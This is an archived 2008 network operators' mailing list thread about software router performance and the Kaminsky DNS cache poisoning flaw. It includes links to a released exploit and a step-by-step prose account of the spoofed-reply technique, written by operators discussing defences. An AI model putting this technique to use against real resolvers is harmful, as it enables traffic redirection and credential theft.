effective solution. I've yet to test out the NinjaProbes... It's on my todo list... On Jul 23, 2008, at 2:21 PM, Christopher Morrow wrote: > On Wed, Jul 23, 2008 at 11:05 AM, Naveen Nathan > wrote: >>> The Endace DAG cards claim they can move 7 gbps over a PCI-X bus >>> from >>> the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. >> >> I wonder, has anyone heard of this used for IDS? I've been looking at >> building a commodity SNORT solution, and wondering if a powerful >> network >> card will help, or would the bottleneck be in processing the >> packets and >> overhead from the OS? > > http://www.endace.com/our-products/ninja-appliances/NinjaProbe-NIDS > > snort at 1g & 10g > > -chris > -- Wes Young Network Security Analyst CIT - University at Buffalo http://claimid.com/saxjazman9 -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2444 bytes Desc: not available URL: From darren at bolding.org Wed Jul 23 14:16:41 2008 From: darren at bolding.org (Darren Bolding) Date: Wed, 23 Jul 2008 12:16:41 -0700 Subject: SANS: DNS Bug Now Public? In-Reply-To: <2A44845F-4D1F-47A8-B6F7-09B50C65C8B4@ca.afilias.info> References: <4885D540.7060304@aset.com> <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> <20080723033155.20717d40@cs.columbia.edu> <202705b0807230916i67de3740x3fa471dc289f1832@mail.gmail.com> <2A44845F-4D1F-47A8-B6F7-09B50C65C8B4@ca.afilias.info> Message-ID: <5a318d410807231216o3847c36ck912418f66ccacfbc@mail.gmail.com> After a bit of looking around, I have not been able to find a list of firewalls/versions which are known to provide appropriate randomness in their PAT algorithms (or more importantly, those that do not). I would be very interested in such a list if anyone knows of one. As a side note, most people here realize this but, while people mention firewalls, keep in mind that if a load-balancer or other device is your egress PAT device, you might be interested in checking those systems port-translation randomness as well. --D On Wed, Jul 23, 2008 at 10:11 AM, Joe Abley wrote: > > On 23 Jul 2008, at 12:16, Jorge Amodio wrote: > > Let me add that folks need to understand that the "patch" is not a fix to a >> problem that has been there for long time and >> it is just a workaround to reduce the chances for a potential >> attack, and it must be combined with best practices and >> recommendations to implent a more robust DNS setup. >> > > Having just seen some enterprise types spend time patching their > nameservers, it's also perhaps worth spelling out that "patch" in this case > might require more than upgrading resolver code -- it could also involve > reconfigurations, upgrades or replacements of NAT boxes too. If your NAT > reassigns source ports in a predictable fashion, then no amount of BIND9 > patching is going to help. > > (Reconfiguring your internal resolvers to forward queries to an external, > patched resolver which can see the world other than through NAT-coloured > glasses may also be a way out.) > > > Joe > > > -- -- Darren Bolding -- -- darren at bolding.org -- From jeff at ocjtech.us Wed Jul 23 14:50:41 2008 From: jeff at ocjtech.us (Jeffrey Ollie) Date: Wed, 23 Jul 2008 14:50:41 -0500 Subject: Software router state of the art In-Reply-To: <20080723161740.GK11922@skywalker.creative.net.au> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> Message-ID: <935ead450807231250k111a9470ub080b09219bb92c3@mail.gmail.com> On Wed, Jul 23, 2008 at 11:17 AM, Adrian Chadd wrote: > > Various FreeBSD related guys are working on parallelising the forwarding > layer enough to use the multiple tx/rx queues in some chipsets such as the > Intel gig/10ge stuff. > > Linux apparently is/has headed down this path. I've seen some notes from Dave Miller about adding multiple TX queues to the 2.6.27 kernel. See Dave's blog for the gory details: http://vger.kernel.org/~davem/cgi-bin/blog.cgi http://git.kernel.org/?p=linux/kernel/git/davem/net-tx-2.6.git;a=summary AFAIK he hasn't made any claims about performance improvements. I don't know the state of RX queues in Linux. Jeff From oberman at es.net Wed Jul 23 14:59:52 2008 From: oberman at es.net (Kevin Oberman) Date: Wed, 23 Jul 2008 12:59:52 -0700 Subject: Software router state of the art In-Reply-To: Your message of "Wed, 23 Jul 2008 14:17:53 EDT." <3c3e3fca0807231117u27d01471pf5b88edca4ae729f@mail.gmail.com> Message-ID: <20080723195952.98B854500E@ptavv.es.net> > Date: Wed, 23 Jul 2008 14:17:53 -0400 > From: "William Herrin" > > On Wed, Jul 23, 2008 at 2:03 PM, Naveen Nathan wrote: > >> The Endace DAG cards claim they can move 7 gbps over a PCI-X bus from > >> the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. > > > > I wonder, has anyone heard of this used for IDS? I've been looking at > > building a commodity SNORT solution, and wondering if a powerful network > > card will help, or would the bottleneck be in processing the packets and > > overhead from the OS? > > The first bottleneck is the interrupts from the NIC. With a generic > Intel NIC under Linux, you start to lose a non-trivial number of > packets around 700mbps of "normal" traffic because it can't service > the interrupts quickly enough. Most modern high performance network cards support MSI (Message Signaled Interrupts) which generate real interrupts only in an intelligent basis. and only at a controlled rate. Windows, Solaris and FreeBSD have support for MSI and I think Linux does, too. It requires both hardware and software support. With MSI, TSO, LRO, and PCI-E with hardware that supports these, 9.5 Gbps TCP flows between systems is possible with minimal tuning. That puts the bottleneck back on the forwarding software in the CPU to do the forwarding at high rates. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 224 bytes Desc: not available URL: From herrin-nanog at dirtside.com Wed Jul 23 15:51:50 2008 From: herrin-nanog at dirtside.com (William Herrin) Date: Wed, 23 Jul 2008 16:51:50 -0400 Subject: Software router state of the art In-Reply-To: <20080723195952.98B854500E@ptavv.es.net> References: <3c3e3fca0807231117u27d01471pf5b88edca4ae729f@mail.gmail.com> <20080723195952.98B854500E@ptavv.es.net> Message-ID: <3c3e3fca0807231351i5f2fc6f4g4a670e0f405342c3@mail.gmail.com> On Wed, Jul 23, 2008 at 3:59 PM, Kevin Oberman wrote: >> The first bottleneck is the interrupts from the NIC. With a generic >> Intel NIC under Linux, you start to lose a non-trivial number of >> packets around 700mbps of "normal" traffic because it can't service >> the interrupts quickly enough. > > Most modern high performance network cards support MSI (Message Signaled > Interrupts) which generate real interrupts only in an intelligent > basis. and only at a controlled rate. Windows, Solaris and FreeBSD have > support for MSI and I think Linux does, too. It requires both hardware > and software support. "ethtool -c". Thanks Sargun for putting me on to "I/O Coalescing." But cards like the Intel Pro/1000 have 64k of memory for buffering packets, both in and out. Few have very much more than 64k. 64k means 32k to tx and 32k to rx. Means you darn well better generate an interrupt when you get near 16k so that you don't fill the buffer before the 16k you generated the interrupt for has been cleared. Means you're generating an interrupt at least for every 10 or so 1500 byte packets. Regards, Bill -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From jasper at unleash.co.nz Wed Jul 23 15:53:27 2008 From: jasper at unleash.co.nz (Jasper Bryant-Greene) Date: Thu, 24 Jul 2008 08:53:27 +1200 Subject: SANS: DNS Bug Now Public? In-Reply-To: <5a318d410807231216o3847c36ck912418f66ccacfbc@mail.gmail.com> References: <4885D540.7060304@aset.com> <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> <20080723033155.20717d40@cs.columbia.edu> <202705b0807230916i67de3740x3fa471dc289f1832@mail.gmail.com> <2A44845F-4D1F-47A8-B6F7-09B50C65C8B4@ca.afilias.info> <5a318d410807231216o3847c36ck912418f66ccacfbc@mail.gmail.com> Message-ID: <1216846407.3051.7.camel@luna.unix.geek.nz> FWIW, anyone using iptables for NAT can use --random, e.g.: iptables -t nat -A POSTROUTING -o ethX -j SNAT --to x.x.x.x --random Useful for Linux NAT/load-balancer boxes, or for Linux-powered embedded devices where the vendor has not been forthcoming with a firmware patch to alter the rules they generate. I believe this requires kernel >= 2.6.21. -Jasper On Wed, 2008-07-23 at 12:16 -0700, Darren Bolding wrote: > After a bit of looking around, I have not been able to find a list of > firewalls/versions which are known to provide appropriate randomness in > their PAT algorithms (or more importantly, those that do not). > > I would be very interested in such a list if anyone knows of one. > > As a side note, most people here realize this but, while people mention > firewalls, keep in mind that if a load-balancer or other device is your > egress PAT device, you might be interested in checking those systems > port-translation randomness as well. > > --D > > On Wed, Jul 23, 2008 at 10:11 AM, Joe Abley wrote: > > > > > On 23 Jul 2008, at 12:16, Jorge Amodio wrote: > > > > Let me add that folks need to understand that the "patch" is not a fix to a > >> problem that has been there for long time and > >> it is just a workaround to reduce the chances for a potential > >> attack, and it must be combined with best practices and > >> recommendations to implent a more robust DNS setup. > >> > > > > Having just seen some enterprise types spend time patching their > > nameservers, it's also perhaps worth spelling out that "patch" in this case > > might require more than upgrading resolver code -- it could also involve > > reconfigurations, upgrades or replacements of NAT boxes too. If your NAT > > reassigns source ports in a predictable fashion, then no amount of BIND9 > > patching is going to help. > > > > (Reconfiguring your internal resolvers to forward queries to an external, > > patched resolver which can see the world other than through NAT-coloured > > glasses may also be a way out.) > > > > > > Joe > > > > > > > > From oberman at es.net Wed Jul 23 16:23:18 2008 From: oberman at es.net (Kevin Oberman) Date: Wed, 23 Jul 2008 14:23:18 -0700 Subject: Software router state of the art In-Reply-To: Your message of "Wed, 23 Jul 2008 16:51:50 EDT." <3c3e3fca0807231351i5f2fc6f4g4a670e0f405342c3@mail.gmail.com> Message-ID: <20080723212318.E05C845048@ptavv.es.net> > Date: Wed, 23 Jul 2008 16:51:50 -0400 > From: "William Herrin" > Sender: wherrin at gmail.com > > On Wed, Jul 23, 2008 at 3:59 PM, Kevin Oberman wrote: > >> The first bottleneck is the interrupts from the NIC. With a generic > >> Intel NIC under Linux, you start to lose a non-trivial number of > >> packets around 700mbps of "normal" traffic because it can't service > >> the interrupts quickly enough. > > > > Most modern high performance network cards support MSI (Message Signaled > > Interrupts) which generate real interrupts only in an intelligent > > basis. and only at a controlled rate. Windows, Solaris and FreeBSD have > > support for MSI and I think Linux does, too. It requires both hardware > > and software support. > > "ethtool -c". Thanks Sargun for putting me on to "I/O Coalescing." > > But cards like the Intel Pro/1000 have 64k of memory for buffering > packets, both in and out. Few have very much more than 64k. 64k means > 32k to tx and 32k to rx. Means you darn well better generate an > interrupt when you get near 16k so that you don't fill the buffer > before the 16k you generated the interrupt for has been cleared. Means > you're generating an interrupt at least for every 10 or so 1500 byte > packets. You have just hit on a huge problems with most (all?) 1G and 10G hardware. The buffers are way too small for optimal performance in any case where the RTT is anything more that half a millisecond, you exhaust the window and stall the stream. I need port move multi-gigabit streams across the country and between the US and Europe. Those are a bit too far apart for those tiny buffers to be of any use at all. This would require 3 GB of buffers. This same problem also make TCP off-load of no use at all. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 224 bytes Desc: not available URL: From swmike at swm.pp.se Wed Jul 23 16:48:08 2008 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Wed, 23 Jul 2008 23:48:08 +0200 (CEST) Subject: sizing router buffers (Re: Software router state of the art ) In-Reply-To: <20080723212318.E05C845048@ptavv.es.net> References: <20080723212318.E05C845048@ptavv.es.net> Message-ID: On Wed, 23 Jul 2008, Kevin Oberman wrote: > be of any use at all. This would require 3 GB of buffers. This same > problem also make TCP off-load of no use at all. 3 Gigabyte? Why? The newer 40G platforms on the market seems to have abandonded the 600ms buffers typical in the 10G space, in favour of 50-200ms of buffers (I don't remember exactly). Aren't there TCP implementations that don't use exponential window increase, but instead can do smaller increments, which I would have believed would enable routers to still do well with ~50ms of buffering. High speed memory is very expensive, also a lot of applications today would prefer to have their packets dropped instead of being queued for hundreds of milliseconds. Finding a good tradeoff level between the demand of different traffic types is quite hard... Also, DWDM capacity seems to get cheaper all the time, so if you really need to move data at multigigabit speeds, it might make sense to just rent that 10G wave and put your own equipment there that does what you want. -- Mikael Abrahamsson email: swmike at swm.pp.se From robert at ufl.edu Wed Jul 23 17:14:17 2008 From: robert at ufl.edu (Robert D. Scott) Date: Wed, 23 Jul 2008 18:14:17 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: References: <20080723212318.E05C845048@ptavv.es.net> Message-ID: <001b01c8ed11$72ec39d0$58c4ad70$@edu> Now, there is an exploit for it. http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Robert D. Scott Robert at ufl.edu Senior Network Engineer 352-273-0113 Phone CNS - Network Services 352-392-2061 CNS Receptionist University of Florida 352-392-9440 FAX Florida Lambda Rail 352-294-3571 FLR NOC Gainesville, FL 32611 321-663-0421 Cell From jgreco at ns.sol.net Wed Jul 23 17:30:39 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Wed, 23 Jul 2008 17:30:39 -0500 (CDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <001b01c8ed11$72ec39d0$58c4ad70$@edu> from "Robert D. Scott" at Jul 23, 2008 06:14:17 PM Message-ID: <200807232230.m6NMUehk023713@aurora.sol.net> > Now, there is an exploit for it. > > http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Maybe I'm missing it, but this looks like a fairly standard DNS exploit. Keep asking questions and sending fake answers until one gets lucky. It certainly matches closely with my memory of discussions of the weaknesses in the DNS protocol from the '90's, with the primary difference being that now networks and hardware may be fast enough to make the flooding (significantly) more effective. I have to assume that one other standard minor enhancement has been omitted (or at least not explicitly mentioned), and will refrain from mentioning it for now. So, I have to assume that I'm missing some unusual aspect to this attack. I guess I'm getting older, and that's not too shocking. Anybody see it? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From robert at ufl.edu Wed Jul 23 17:51:22 2008 From: robert at ufl.edu (Robert D. Scott) Date: Wed, 23 Jul 2008 18:51:22 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807232230.m6NMUehk023713@aurora.sol.net> References: <001b01c8ed11$72ec39d0$58c4ad70$@edu> from "Robert D. Scott" at Jul 23, 2008 06:14:17 PM <200807232230.m6NMUehk023713@aurora.sol.net> Message-ID: <002e01c8ed16$a1891c40$e49b54c0$@edu> Actually you are not missing anything. It is a brute force attack. I think you had the right concept when you indicated that "networks and hardware may be fast enough". It is not maybe, it is; and every script kiddie on your block has the power in his/her bedroom. Then you add the college crowd sitting on 10Gig pipes to the Internet and the threat is real. But other than just muck things up where is the motivation for a poisoning? Robert D. Scott Robert at ufl.edu Senior Network Engineer 352-273-0113 Phone CNS - Network Services 352-392-2061 CNS Receptionist University of Florida 352-392-9440 FAX Florida Lambda Rail 352-294-3571 FLR NOC Gainesville, FL 32611 321-663-0421 Cell -----Original Message----- From: Joe Greco [mailto:jgreco at ns.sol.net] Sent: Wednesday, July 23, 2008 6:31 PM To: Robert D. Scott Cc: nanog at merit.edu Subject: Re: Exploit for DNS Cache Poisoning - RELEASED > Now, there is an exploit for it. > > http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Maybe I'm missing it, but this looks like a fairly standard DNS exploit. Keep asking questions and sending fake answers until one gets lucky. It certainly matches closely with my memory of discussions of the weaknesses in the DNS protocol from the '90's, with the primary difference being that now networks and hardware may be fast enough to make the flooding (significantly) more effective. I have to assume that one other standard minor enhancement has been omitted (or at least not explicitly mentioned), and will refrain from mentioning it for now. So, I have to assume that I'm missing some unusual aspect to this attack. I guess I'm getting older, and that's not too shocking. Anybody see it? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From mike at rockynet.com Wed Jul 23 17:58:43 2008 From: mike at rockynet.com (Mike Lewinski) Date: Wed, 23 Jul 2008 16:58:43 -0600 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807232230.m6NMUehk023713@aurora.sol.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> Message-ID: <4887B7A3.1000301@rockynet.com> Joe Greco wrote: > So, I have to assume that I'm missing some unusual aspect to this attack. > I guess I'm getting older, and that's not too shocking. Anybody see it? AFAIK, the main novelty is the ease with which bogus NS records can be inserted. It may be hard to get a specific A record (www.victimsbank.com) cached, but if you can shim in the NS records of your ns.poisoner.com authority, then getting the real target A record is trivial since you'll be asked directly for it (and can wait for the legit clients to ask for it for you). Mike From drc at virtualized.org Wed Jul 23 18:00:39 2008 From: drc at virtualized.org (David Conrad) Date: Wed, 23 Jul 2008 16:00:39 -0700 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <002e01c8ed16$a1891c40$e49b54c0$@edu> References: <001b01c8ed11$72ec39d0$58c4ad70$@edu> from "Robert D. Scott" at Jul 23, 2008 06:14:17 PM <200807232230.m6NMUehk023713@aurora.sol.net> <002e01c8ed16$a1891c40$e49b54c0$@edu> Message-ID: <3848BACD-E2A0-45F9-9A98-AE9E1D890B11@virtualized.org> Hi, On Jul 23, 2008, at 3:51 PM, Robert D. Scott wrote: > Actually you are not missing anything. It is a brute force attack. I haven't looked at the exploit code, but the vulnerability Kaminsky found is a bit more than a brute force attack. As has been pointed out in various venues, it takes advantage of a couple of flaws in the DNS architecture. No, not simply the fact that the QID space is only 16 bits. That's part of it, but there is more. Really. I'm sure you can find the 'leaked' Matasano Chargen description of the attack on the net somewhere. > But other than just muck things up where is the motivation for a > poisoning? Man-in-the-middle attacks directed at ISPs serving end users who want to (say) get to their banks? Regards, -drc From ml at t-b-o-h.net Wed Jul 23 18:00:29 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Wed, 23 Jul 2008 19:00:29 -0400 (EDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <001b01c8ed11$72ec39d0$58c4ad70$@edu> Message-ID: <200807232300.m6NN0TK1086093@himinbjorg.tucs-beachin-obx-house.com> > > Now, there is an exploit for it. > > http://www.caughq.org/exploits/CAU-EX-2008-0002.txt > For anyone looking to use it, you MUST update the frameworks libraries. Some of the code only came out ~5 hours ago that it needs. Tuc/TBOH From toasty at dragondata.com Wed Jul 23 18:06:54 2008 From: toasty at dragondata.com (Kevin Day) Date: Wed, 23 Jul 2008 18:06:54 -0500 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807232230.m6NMUehk023713@aurora.sol.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> Message-ID: <6E4AD80A-7BBF-4F8E-AE21-6F6BDD227CE6@dragondata.com> On Jul 23, 2008, at 5:30 PM, Joe Greco wrote: > > Maybe I'm missing it, but this looks like a fairly standard DNS > exploit. > > Keep asking questions and sending fake answers until one gets lucky. > > It certainly matches closely with my memory of discussions of the > weaknesses in the DNS protocol from the '90's, with the primary > difference > being that now networks and hardware may be fast enough to make the > flooding (significantly) more effective. I have to assume that one > other > standard minor enhancement has been omitted (or at least not > explicitly > mentioned), and will refrain from mentioning it for now. > > So, I have to assume that I'm missing some unusual aspect to this > attack. > I guess I'm getting older, and that's not too shocking. Anybody see > it? > What's new is the method of how it is being exploited. Before, if you wanted to poison a cache for www.gmail.com, you get the victim name server to try to look up www.gmail.com and spoof flood the server trying to beat the real reply by guessing the correct ID. if you fail, you may need to wait for the victim name server to expire the cache before trying again. The new way is slightly more sneaky. You get the victim to try to resolve an otherwise invalid and uncached hostname like 00001.gmail.com, and try to beat the real response with spoofed replies. Except this time your reply comes with an additional record containing the IP for www.gmail.com to the one you want to redirect it to. If you win the race and the victim accepts your spoof for 00001.gmail.com, it will also accept (and overwrite any cached value) for your additional record for www.gmail.com as well. If you don't win the race, you try again with 00002.gmail.com, and keep going until you finally win one. By making up uncached hostnames, you get as many tries as you want in winning the race. By tacking on an additional reply record to your response packet you can poison the cache for anything the victim believes your name server should be authoritative for. This means DNS cache poisoning is possible even on very busy servers that normally you wouldn't be able to predict when it was going expire its cache, and if you fail the first time you can keep trying again and again until you succeed with no wait. -- Kevin From jabley at ca.afilias.info Wed Jul 23 20:17:18 2008 From: jabley at ca.afilias.info (Joe Abley) Date: Wed, 23 Jul 2008 21:17:18 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807232230.m6NMUehk023713@aurora.sol.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> Message-ID: On 23 Jul 2008, at 18:30, Joe Greco wrote: > So, I have to assume that I'm missing some unusual aspect to this > attack. > I guess I'm getting older, and that's not too shocking. Anybody see > it? Perhaps what you're missing can be found in the punchline to the transient post on the Matasano Security blog ("Mallory can conduct this attack in less than 10 seconds on fast Internet link"). Being able to divert users of a particular resolver (who thought they were going to paypal, or their bank, or a government web page to file their taxes, or, or, etc) to the place of your choosing with less than a minute's effort seems like cause for concern to me. Luckily we have the SSL/CA architecture in place to protect any web page served over SSL. It's a good job users are not conditioned to click "OK" when told "the certificate for this site is invalid". Joe From fergdawg at netzero.net Wed Jul 23 20:25:16 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Thu, 24 Jul 2008 01:25:16 GMT Subject: Exploit for DNS Cache Poisoning - RELEASED Message-ID: <20080723.182516.4469.1@webmail22.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- Joe Abley wrote: >It's a good job users are not conditioned to click "OK" when >told "the certificate for this site is invalid". I appreciate your sense of humor. ;-) - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIh9n2q1pz9mNUZTMRAq5cAKCEx/4G+FJb6XSQyZu1IOvd9UBixgCfbZUk nDISb0J+YuIJlLYkVIKkLBo= =1Swd -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From jasper at unleash.co.nz Wed Jul 23 20:27:00 2008 From: jasper at unleash.co.nz (Jasper Bryant-Greene) Date: Thu, 24 Jul 2008 13:27:00 +1200 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: References: <200807232230.m6NMUehk023713@aurora.sol.net> Message-ID: <1216862821.7847.6.camel@luna.unix.geek.nz> On Wed, 2008-07-23 at 21:17 -0400, Joe Abley wrote: > Luckily we have the SSL/CA architecture in place to protect any web > page served over SSL. It's a good job users are not conditioned to > click "OK" when told "the certificate for this site is invalid". 'course, as well as relying on users not ignoring certificate warnings, SSL as protection against this attack relies on the user explicitly choosing SSL (by manually prefixing the URL with https://), or noticing that the site didn't redirect to SSL. Your average Joe who types www.paypal.com into their browser may very well not notice that they didn't get redirected to https://www.paypal.com/ -Jasper From fergdawg at netzero.net Wed Jul 23 20:28:15 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Thu, 24 Jul 2008 01:28:15 GMT Subject: Exploit for DNS Cache Poisoning - RELEASED Message-ID: <20080723.182815.4469.2@webmail22.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- "Robert D. Scott" wrote: >Now, there is an exploit for it. > >http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Now also (mirrored) here: http://www.milw0rm.com/exploits/6122 ...and probably a slew of other places, too. ;-) - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIh9qmq1pz9mNUZTMRAuXEAJ0cmn10Rz4Z0RG5LfseroFFvLbUmgCgipoV rLDjjPCo+7w7+aV8udRK7fc= =n1cC -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From jgreco at ns.sol.net Wed Jul 23 20:44:22 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Wed, 23 Jul 2008 20:44:22 -0500 (CDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <6E4AD80A-7BBF-4F8E-AE21-6F6BDD227CE6@dragondata.com> from "Kevin Day" at Jul 23, 2008 06:06:54 PM Message-ID: <200807240144.m6O1iMcT031279@aurora.sol.net> > Before, if you wanted to poison a cache for www.gmail.com, you get the > victim name server to try to look up www.gmail.com and spoof flood the > server trying to beat the real reply by guessing the correct ID. if > you fail, you may need to wait for the victim name server to expire > the cache before trying again. That's why that crummy technique isn't used. > The new way is slightly more sneaky. You get the victim to try to > resolve an otherwise invalid and uncached hostname like > 00001.gmail.com, and try to beat the real response with spoofed > replies. That's the normal technique, as far as I was aware. > Except this time your reply comes with an additional record > containing the IP for www.gmail.com to the one you want to redirect it > to. Thought that was the normal technique for cache poisoning. I'm pretty sure that at some point, code was added to BIND to actually implement this whole bailiwick system, rather than just accepting arbitrary out- of-scope data, which it ... used to do (sigh, hi BIND4). > If you win the race and the victim accepts your spoof for > 00001.gmail.com, it will also accept (and overwrite any cached value) > for your additional record for www.gmail.com as well. If you don't win > the race, you try again with 00002.gmail.com, and keep going until you > finally win one. By making up uncached hostnames, you get as many > tries as you want in winning the race. Right. To the best of my knowledge, that's neither a new nor a clever technique for generating additional DNS request transactions. > By tacking on an additional > reply record to your response packet you can poison the cache for > anything the victim believes your name server should be authoritative > for. And that's one standard form of poisoning. Cache poisoning and sending extra data is an interesting topic. I have to admit that my experience with it is somewhat dated, and a lot of it is as much as a decade out of date, when I was writing miniature authoritative name servers for application load balancing purposes. I did in fact do a number of experiments against various implementations to see what sins I could get away with, and I have to say, the protocol is remarkable in that so many broken-seeming things that I deliberately inflicted while playing around can be worked out by server implementations. But, then again, the beauty of DNS is that it hasn't really changed much over time ... > This means DNS cache poisoning is possible even on very busy servers > that normally you wouldn't be able to predict when it was going expire > its cache, and if you fail the first time you can keep trying again > and again until you succeed with no wait. This is disappointing, because Vixie specifically stated that this was a new attack, and I'm pretty sure he said it was one where the exploit could not be determined merely by knowing the sort of change that was being made to BIND. Well, the change that was made to BIND was to randomize source ports, which indicated it was a forged-response attack of some kind. Knowing that there were further statements about the weakness of the PRNG for the QID suggested that it was susceptible to a brute-force attack. I guess there's a vague hint of novelty in it all if you want to be a tad more clever about what you're corrupting. I can think of a few examples, which I will respectfully not discuss, just in case someone hasn't thought of them, but basically it seems to me that this is neither a new nor a novel attack. So I'm not super impressed. Do I see the need for the patch? Yes. Do I see the need to lie about the nature of the problem? I guess, but this is not any more of a problem today than it was a year (or ten!) ago, except maybe now someone is threatening to finally do something that might cause DNSSEC to get deployed, which seems like it would have been a better way to scare people, IMHO. I think a bunch of us saw the problem with spoofed DNS years ago, and I'm pretty sure a bunch of DNSSEC people have been predicting exactly this state of affairs for quite some time, and knowledge of the general problem predates even that. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From ml at t-b-o-h.net Wed Jul 23 21:32:58 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Wed, 23 Jul 2008 22:32:58 -0400 (EDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080723.182815.4469.2@webmail22.vgs.untd.com> Message-ID: <200807240232.m6O2Wwba026694@himinbjorg.tucs-beachin-obx-house.com> > - -- "Robert D. Scott" wrote: > > >Now, there is an exploit for it. > > > >http://www.caughq.org/exploits/CAU-EX-2008-0002.txt > > Now also (mirrored) here: > > http://www.milw0rm.com/exploits/6122 > > ...and probably a slew of other places, too. ;-) > The changes the put into metasploit for this don't seem to work if running from FreeBSD 5.5, possibly other BSD's and versions from talking to the author. Tuc/TBOH From herrin-nanog at dirtside.com Wed Jul 23 21:34:17 2008 From: herrin-nanog at dirtside.com (William Herrin) Date: Wed, 23 Jul 2008 22:34:17 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807240144.m6O1iMcT031279@aurora.sol.net> References: <6E4AD80A-7BBF-4F8E-AE21-6F6BDD227CE6@dragondata.com> <200807240144.m6O1iMcT031279@aurora.sol.net> Message-ID: <3c3e3fca0807231934m7f031701qbf0da439eebcecae@mail.gmail.com> On Wed, Jul 23, 2008 at 9:44 PM, Joe Greco wrote: >> Except this time your reply comes with an additional record >> containing the IP for www.gmail.com to the one you want to redirect it >> to. > > Thought that was the normal technique for cache poisoning. I'm pretty > sure that at some point, code was added to BIND to actually implement > this whole bailiwick system, rather than just accepting arbitrary out- > of-scope data, which it ... used to do (sigh, hi BIND4). Joe, I think that's the beauty of this attack: the data ISN'T out of scope. The resolver is expecting to receive one or more answers to 00001.gmail.com, one or more authority records (gmail.com NS www.gmail.com) and additional records providing addresses for the authority records (www.gmail.com A 127.0.0.1). Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From patrick at ianai.net Wed Jul 23 22:01:11 2008 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 23 Jul 2008 23:01:11 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <1216862821.7847.6.camel@luna.unix.geek.nz> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> Message-ID: <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> On Jul 23, 2008, at 9:27 PM, Jasper Bryant-Greene wrote: > On Wed, 2008-07-23 at 21:17 -0400, Joe Abley wrote: >> Luckily we have the SSL/CA architecture in place to protect any web >> page served over SSL. It's a good job users are not conditioned to >> click "OK" 